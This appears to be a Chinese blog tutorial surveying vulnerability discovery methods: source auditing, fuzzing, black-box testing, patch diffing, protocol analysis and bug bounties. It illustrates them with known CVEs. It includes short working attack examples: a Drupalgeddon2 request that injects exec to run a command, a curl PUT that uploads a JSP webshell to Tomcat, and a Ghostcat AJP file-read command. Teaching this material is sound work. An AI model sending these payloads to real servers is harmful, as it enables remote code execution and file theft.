漏洞是如何被发现的?一文带你了解漏洞挖掘的核心方法

漏洞的发现不仅是安全研究的前提,更是攻防对抗中的关键一环。本文将系统介绍常见的漏洞发现方法,包括源代码审计、模糊测试、功能探索、补丁差异分析、协议实现问题分析等,并配合典型漏洞案例进行说明。

一、源代码审计(Code Auditing)

源代码审计是发现逻辑性漏洞的核心手段,尤其适用于开源项目。研究人员通过阅读程序源码,分析输入处理逻辑、权限校验、函数调用路径等,从中找出潜在的安全缺陷。

典型流程

  1. 获取源代码(GitHub、官方下载包)
  2. 查找用户输入点(如 $_GET$_POSTrequest
  3. 追踪输入如何流向危险函数(如 eval()exec()、数据库操作)
  4. 判断是否有过滤或校验
  5. 手工构造利用路径

示例:CVE-2018-7600(Drupalgeddon2)

Drupal 表单 API 在处理 AJAX 请求时未对结构化参数如 #post_render 进行足够验证,攻击者可将任意 PHP 函数注入,最终实现远程命令执行(RCE)。

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
Content-Type: application/x-www-form-urlencoded

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#markup]=id&mail[#type]=markup

二、模糊测试(Fuzzing)

模糊测试是一种自动化漏洞发现技术,通过向程序输入大量变异或非法数据,观察其行为是否异常,如崩溃、内存泄漏、信息泄露等。

常见工具

  • AFL(American Fuzzy Lop)
  • LibFuzzer
  • Honggfuzz
  • Peach Fuzzer
  • Boofuzz(用于协议模糊)

适用场景

  • C/C++ 编写的二进制程序
  • 网络协议处理逻辑
  • 输入解析组件,如图像/PDF/音视频解析器

实例:PDF 阅读器漏洞

通过 Fuzzing 工具向 PDF 阅读器输入变异过的文件,发现软件在解析时出现崩溃,从而定位到内存访问越界或未初始化指针等问题,进一步分析可构造出可控的漏洞利用。

三、黑盒测试与功能探索

不依赖源代码,仅通过 Web 界面或 API 接口交互观察异常行为,是 Web 漏洞发现中最常见的方式之一。

常见技巧

  • 请求方法变换(如 PUT/DELETE/HEAD)
  • 参数注入测试(尝试构造数组、特殊函数名)
  • 文件上传绕过测试(改后缀、双扩展、Content-Type 伪造)
  • 错误信息收集(500 报错、路径泄露)
  • 权限绕过测试(登录态篡改、IDOR)

示例:CVE-2017-12615(Tomcat PUT 文件上传)

Tomcat 某版本在 Windows 下默认允许 PUT 方法上传文件,如果上传 .jsp 文件,将直接可被当作脚本执行。

curl -X PUT "http://target:8080/shell.jsp" --data-binary @shell.jsp

四、补丁差异分析(Patch Diffing)

补丁发布后,研究人员可对比补丁前后的代码变化,定位修复的核心逻辑,从而理解漏洞本质,有时还能找到变种绕过。

工具推荐

  • BinDiff(针对二进制补丁)
  • Git diff / Meld(针对源码补丁)

实例:CVE-2017-5638 与 S2-045

S2-045 是 Struts2 中的 OGNL 表达式注入漏洞。安全研究员对比 CVE-2017-5638 的补丁发现 OGNL 表达式过滤点存在逻辑缺陷,构造新的 payload 实现绕过,变种漏洞由此出现。

五、协议实现漏洞分析

一些服务在实现复杂协议(如 HTTP/2、AJP、FTP)时存在不符合标准或未考虑边界条件的处理,可能导致文件包含、信息泄露、甚至 RCE。

实例:CVE-2020-1938(Ghostcat)

Ghostcat 是 Tomcat AJP 协议中的一个严重漏洞。攻击者可通过连接 8009 端口构造请求,伪造服务器对某路径进行内部包含,从而读取任意文件或包含 WebShell。

ajp-request --host target --port 8009 --path /WEB-INF/web.xml

六、赏金平台 & 社区报告

许多厂商通过 Bug Bounty 计划鼓励安全研究员提交漏洞,知名平台包括:

  • HackerOne
  • Bugcrowd
  • 腾讯/阿里/百度 SRC
  • Google/Apple/Microsoft 官方赏金计划

这些平台在鼓励发现漏洞的同时,也帮助厂商及时修复。

七、总结

漏洞的发现融合了代码审计能力、系统理解能力、工具使用能力与探索精神。无论是静态分析还是动态测试,都要围绕“用户输入如何影响程序执行”这个核心展开。研究者既要理解开发逻辑,又要从攻击者的角度寻找系统可能忽视的边界情况。


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

你好我是小美

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值